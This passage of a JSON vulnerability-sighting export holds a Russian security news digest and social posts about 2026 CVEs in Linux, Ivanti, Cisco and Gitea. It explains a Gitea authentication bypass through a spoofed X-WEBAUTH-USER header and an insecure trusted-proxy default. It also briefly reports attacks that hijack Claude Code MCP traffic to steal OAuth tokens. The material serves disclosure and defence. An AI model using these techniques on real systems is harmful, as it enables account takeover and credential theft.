\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0445\u043e\u0442\u044f Dirty Frag \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0443, \u0447\u0442\u043e \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Linux Dirty Pipe \u0438\u00a0Copy Fail, \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u043e\u043b\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u044f\u0434\u0440\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Ubuntu, Red Hat Enterprise Linux, CentOS Stream, AlmaLinux, openSUSE Tumbleweed \u0438 Fedora, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0442 \u0430\u0442\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Linux \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u00a0\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u044f\u0434\u0440\u0430 esp4, esp6 \u0438 rxrpc (\u043e\u0434\u043d\u0430\u043a\u043e \u0432\u0430\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 IPsec VPN \u0438 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c AFS).\n\n2. Ivanti \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0437\u043e\u043d \u043e\u0441\u0442\u0440\u043e\u0441\u044e\u0436\u0435\u0442\u043d\u043e\u0433\u043e \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430 \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 (\u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u0439 \u043c\u0435\u0440\u0447) \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Endpoint Manager Mobile (EPMM), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCVE-2026-6973 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c EPMM 12.8.0.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c\u00bb \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0436\u0435 Ivanti \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 EPMM (CVE-2026-5786, CVE-2026-5787, CVE-2026-5788 \u0438 CVE-2026-7821), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Adversa.AI \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e Claude Code \u0432 \u0441\u0432\u043e\u0438\u0445 \u0446\u0435\u043b\u044f\u0445, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\nTrustFall \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c\u0438 \u0418\u0418, \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u0437\u043b\u043e\u043c\u043e\u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n4. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u043d\u0430\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Microsoft Office, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Windows \u0438 Linux.\n\n5. Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 Crosswork Network Controller (CNC) \u0438 Network Services Orchestrator (NSO), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043a\u0430 CVE-2026-20188 \u043d\u0435 \u0431\u044b\u043b\u0430 \u0435\u0449\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0440\u0430\u043d\u0435\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mitiga \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a Claude Code MCP, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b OAuth \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c SaaS-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c.\n\n7. \u0418 \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c \u043f\u0440\u043e \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0439 \u00ab\u0432 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb \u0437\u0430 \u0430\u043f\u0440\u0435\u043b\u044c, \u043a\u0443\u0434\u0430 \u0432\u043e\u0448\u043b\u0430 \u043e\u0434\u043d\u0430 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - (CVE-2026-20963, CVSS 9,8) \u0432 Microsoft SharePoint.", "creation_timestamp": "2026-05-08T18:30:06.000000Z"}, {"uuid": "d950ecc9-c2c6-4fbc-aef8-15b10d416ccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20860", "type": "seen", "source": "https://bsky.app/profile/salazar64.bsky.social/post/3mletmierus2c", "content": "Confidence/Sourcing Note: Data retrieved from CISA Emergency Advisory CVE-2026-20860 and recent House Oversight Committee whistleblower testimony regarding SSA data integrity.", "creation_timestamp": "2026-05-08T23:02:43.143157Z"}, {"uuid": "e0709dc5-0b68-46e3-9796-6a1107597f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20316", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3ms5vq3we3z2c", "content": "\ud83d\udcf0 Cisco Peringatkan Zero-Day Cisco Secure FMC yang Sudah Dieksploitasi Penyerang\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/08/03/zero-day-cisco-secure-fmc-cve-2026-20316/\n\n#cisco #ciscoSecureFmc #cve #firewall #keamananSiber #vulnerability #zero-day", "creation_timestamp": "2026-08-03T06:48:14.796573Z"}, {"uuid": "816b4b05-006d-4ca7-bc1f-011e80749905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "Telegram/CcRo1gMZwWwNofZNwYOQ3d2hQNvA4xaZ28UNdx64Ma-ZFGg", "content": "", "creation_timestamp": "2026-08-29T23:00:17.317781Z"}, {"uuid": "7a6edb93-f235-4a37-a8ac-70501987a568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20316", "type": "seen", "source": "https://bsky.app/profile/etairos-ai.bsky.social/post/3mrxqtxvk7j2k", "content": "Cisco shipped hotfixes for FMC zero-day CVE-2026-20316. CISA set an August 1 deadline.\n\nFMC is the management plane for your firewall estate.\n#ThreatIntel #ICS #CyberSecurity\nhttps://threat-intelligence.redeyesecurity.com/blog/cisco-fmc-zero-day-cve-2026-20316-static-credentials-2026", "creation_timestamp": "2026-07-31T20:04:58.010421Z"}, {"uuid": "507b0981-e112-44f5-95f3-79f76f47f680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/trinity.sh/post/3ms5xxzflfx25", "content": "CVE-2026-20316: Cisco FMC unauthenticated login is in CISA KEV. CVSS 5.3, network attack, no auth needed. Due Aug 1.\n\nFMC holds device creds, topology, policies. One low-priv dump feeds lateral movement.\n\nhttps://trinity.sh/posts/2026-08-03-cisco-fmc-unauthenticated-login-kev/", "creation_timestamp": "2026-08-03T07:28:28.010049Z"}, {"uuid": "7a4dc540-9aff-48e9-ae9f-c03f95340ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/cyberok_news/237", "content": "\ud83d\udcc2 \u041e\u0434\u0438\u043d \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u2014 \u0438 \u0442\u044b \u0430\u0434\u043c\u0438\u043d. \u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Gitea\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20896 \u0432 Gitea \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0445 Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u2014 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0440\u0435\u043b\u0438\u0437\u0435 1.26.3 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f rz1027. CVE-\u043d\u043e\u043c\u0435\u0440 \u0431\u044b\u043b \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u0437\u0436\u0435, 3 \u0438\u044e\u043b\u044f. \n\n\ud83d\udce1 \u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043e\u043a\u043e\u043b\u043e 22 900 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 Gitea, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435. \u0418\u0437 \u043d\u0438\u0445 83% \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b CVE-2026-20896. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u2014 \u0437\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0435\u0440\u0435\u0437 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435  \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438 (reverse-proxy).\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f: Gitea \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 Docker-\u043e\u0431\u0440\u0430\u0437 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83d\udd27 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.3 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e:\n\nREVERSE_PROXY_TRUSTED_PROXIES = *\n\n\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (ENABLE_REVERSE_PROXY_AUTHENTICATION = true) Gitea \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 X-WEBAUTH-USER \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e reverse proxy. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c 